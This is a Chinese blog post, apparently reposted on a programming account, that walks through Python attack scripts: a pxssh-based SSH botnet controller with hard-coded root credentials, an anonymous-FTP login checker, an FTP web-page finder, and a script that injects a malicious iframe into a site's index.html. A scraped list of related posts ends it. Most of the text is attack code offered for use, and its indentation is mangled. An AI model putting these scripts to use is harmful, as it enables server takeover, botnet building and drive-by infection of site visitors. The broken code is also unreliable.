Linux编程点击右侧关注,免费入门到精通!

作者|张晓天a

https://www.jianshu.com/p/b0d335212293

构建僵尸网络,主要使用的包为pexpect,Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块,它可以用来和像 ssh、ftp、passwd、telnet 等命令行程序进行自动交互。

python ssh登录集群

import optparse 
import pxsshclass Client:    def __init__(self, host, user, password):        self.host = host        self.user = user        self.password = password        self.session = self.connect()    def connect(self):        try:            
            s = pxssh.pxssh()            s.login(self.host, self.user, self.password)            return s        
        except Exception as e:            
            print(e)            
            print('[-] Error Connecting')    def send_command(self, cmd):self.session.sendline(cmd)        self.session.prompt()        return self.session.beforedef botnetCommand(command):    for client in botNet:        
            output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output + '\n')def addClient(host, user, password):    
        client = Client(host, user, password)    botNet.append(client)
botNet = [] 
addClient('10.10.10.110', 'root', 'toor') 
addClient('10.10.10.120', 'root', 'toor') addClient('10.10.10.130', 'root', 'toor') botnetCommand('uname -v') 
botnetCommand('cat /etc/issue')

通过FTP连接WEB来渗透

就安全而言,网站提供匿名的FTP服务器访问功能似乎很愚蠢。

然而,令人惊 讶的是许多网站提供这类FTP的访问如升级软件,这使得更多的软件获取软件 的合法更新。

我们可以利用Python的ftplib模块来构建一个小脚本,用来确 认服务器是否允许匿名登录。函数anonLogin()接受一个主机名反汇编一个布 尔值来确认主机是否允许匿名登录。

为了确认这个布尔值,这个函数尝试用匿 名认证生成一个FTP连接,如果成功,则返回“True”,产生异常则返回 “False”。

import ftplibdef anonLogin(hostname):    try:        
        ftp = ftplib.FTP(hostname)        ftp.login('anonymous', 'me@your.com')     print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!')        ftp.quit()        return True    except Exception as e:        
        print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!')        return False
host = '192.168.95.179' 
anonLogin(host)

在FTP服务器上寻找WEB页面

有了FTP访问权限,我们还要测试服务器是否还提供了WEB访问。为了测试 这个,我们首先要列出FTP的服务目录并寻找默认的WEB页面。

函数 returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组。 它通过发送命令NLST列出目录内容。

这个函数检查每个文件返回默认 WEB页面文件名并将任何发现的默认WEB页面文件名添加到名为retList的列 表中。完成迭代这些文件之后,函数将返回这个列表。

import ftplibdef returnDefault(ftp):    try:        
        dirList = ftp.nlst()    except:        
        dirList = []        
        print('[-] Could not list directory contents.')        
        print('[-] Skipping To Next Target.')   return    retList = []for fileName in dirList:        
        fn = fileName.lower()        if '.php' in fn or '.htm' in fn or '.asp' in fn:            
        print('[+] Found default page: ' + fileName)            retList.append(fileName)            return retList
host = '192.168.95.179' 
userName = 'guest' 
passWord = 'guest' 
ftp = ftplib.FTP(host) 
ftp.login(userName, passWord) 
returnDefault(ftp)

看着这个脆弱的FTP服务器,我们可以看到它有三个WEB页面在基目录下。 好极了,我们知道可以移动我们的攻击向量到我们的被感染的页面。

添加恶意注入脚本到WEB页面

import ftplib
def injectPage(ftp, page, redirect):    
    f = open(page + '.tmp', 'w')    
    ftp.retrlines('RETR ' + page, f.write)    print '[+] Downloaded Page: ' + page    f.write(redirect)    
    f.close()    print '[+] Injected Malicious IFrame on: ' + page    
    ftp.storlines('STOR ' + page, open(page + '.tmp'))    print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179' 
userName = 'guest' 
passWord = 'guest' 
ftp = ftplib.FTP(host) 
ftp.login(userName, passWord) 
redirect = ' 
injectPage(ftp, 'index.html', redirect)

 推荐↓↓↓ 

?16个技术公众号】都在这里!

涵盖:程序员大咖、源码共读、程序员共读、数据结构与算法、黑客技术和网络安全、大数据科技、编程前端、Java、Python、Web编程开发、Android、iOS开发、Linux、数据库研发、幽默程序员等。

万水千山总是情,点个 “好看” 行不行

python获取局域网通过guest开放的软件_python构建SSH僵尸网络相关推荐

  1. python获取局域网在线主机_python通过scapy获取局域网所有主机mac地址示例

    python通过scapy获取局域网所有主机mac地址示例 发布于 2014-10-10 20:34:48 | 607 次阅读 | 评论: 0 | 来源: 网友投递 Python编程语言Python ...

  2. Python获取局域网内所有机器IP地址与网卡MAC地址

    已发相关文章请参考Python获取本机所有网卡的MAC地址 本文代码使用ARP协议获取局域网内所有计算机的IP地址与MAC地址,思路是使用系统命令arp获取ARP表并生成文本文件,然后从文件中读取和解 ...

  3. python获取局域网在线主机_pythond的icmp广播报获取局域网主机IP

    icmp广播报获取局域网四川特产IP from scapy.all import * import random import threading def scan(sip,dip): pkt = E ...

  4. python获取公网ip的几种方式_python获取外网ip地址的方法总结

    本文实例总结了python获取外网ip地址的方法.分享给大家供大家参考.具体如下: 一.利用脚本引擎库直接获取 import console; import web.script import ine ...

  5. 微课--Python获取局域网内所有机器IP地址与MAC地址

    开学第一课:一定不要这样问老师Python问题 董付国老师Python系列教材推荐与选用参考 3000道Python习题免费在线练习 ============== 版权声明:由于公众号后台规则问题,本 ...

  6. Python获取局域网内可连通的主机ip地址

    使用python来获取整个局域网内可以连通的主机ip地址: 整体是思路就是 1.先获取我本机的ip地址 2.拿到我本机ip后,截取ip的最后一段,保留前一部分网段信息 3.调用cmd命令,循环从1循环 ...

  7. Python获取局域网IP(ping)

    #-*- coding: utf-8 -*- #author: 田园小菜籽 #date: 2018-12-11 #python3.x ip_scaner.py ''''' 使用方法样例 python ...

  8. python获取局域网内的设备_python调用nmap探测局域网设备

    平台:linux 描述:利用os.popen()函数调用系统命令nmap进行扫描,并用grep命令对扫描结果关键内容进行提取 代码 #!/usr/bin/env pthon #--*--coding= ...

  9. python获取js渲染后的源码_Python使用PAMIE获取JS渲染后的HTML源码 - 米扑博客

    前因 现在的网页越来越动态和漂亮,大量地用到了Javascript,包括但是不限于Ajax,这样一来直接查看网页源代码的话的,获取到的并不是真正的渲染完成后的页面.这对采集来说,是一个很大的挑战. 在 ...

最新文章

  1. html网页访问计数器,HTML添加网站计数器(Cookie)
  2. php.ini开启命名空间,Zend Framework教程之模型Model基本规则和使用方法
  3. 2021百度营销通案
  4. 改善深层神经网络:超参数调整、正则化以及优化 —— 3.1调试处理
  5. 设计模式学习总结——工厂模式
  6. 关于cookie使用的几个方法
  7. 数据库-windows上安装mysql
  8. Winfrom窗体无法关闭问题--检查是否存在重写
  9. html下拉菜单右侧显示,css如何设置下拉菜单?
  10. 湖北联通短信鉴权响应错误码
  11. 速学TypeScript-精简划重点手册-中册
  12. Android 保存视频以及读取视频
  13. OPCUA 复杂服务器对应的Python客户端(回调与方法)
  14. java开发256g固态硬盘_256g固态硬盘有哪些
  15. SpringMVC 自动注入 Request 和 Response 对象
  16. 奔驰c260语言设置方法图解,奔驰C260L中控按钮图解,C260L车内按键功能说明
  17. 3D激光SLAM:LeGO-LOAM---两步优化的帧间里程计及代码分析
  18. golang 调试工具dlv 各个命令的用法
  19. 使用github制作简历
  20. 基于动态骨骼的动作识别方法ST-GCN

热门文章

  1. “后序遍历二叉运算树进行Lambda演算的化简”带来的联系
  2. windows查看器无法打开图片_Win7自带图片查看器异常
  3. tomcat套接字接受失败_07 | What? 还有本地套接字?
  4. web表格增删改_白话django之数据的增删改
  5. azure不支持java1.9_java – 无法将Spring Boot应用程序部署到Azure
  6. python 类 super_python的类的super()
  7. 服务器磁盘读取暴涨_8分钟了解服务器硬件知识
  8. 支付宝怎么提交html表单提交,uniapp H5 支付表单提交问题解决烦方案
  9. flex java blazeds_flex+java+blazeds 多通道好文
  10. html5 list 拖拽排序,vue实现可拖拽排序的列表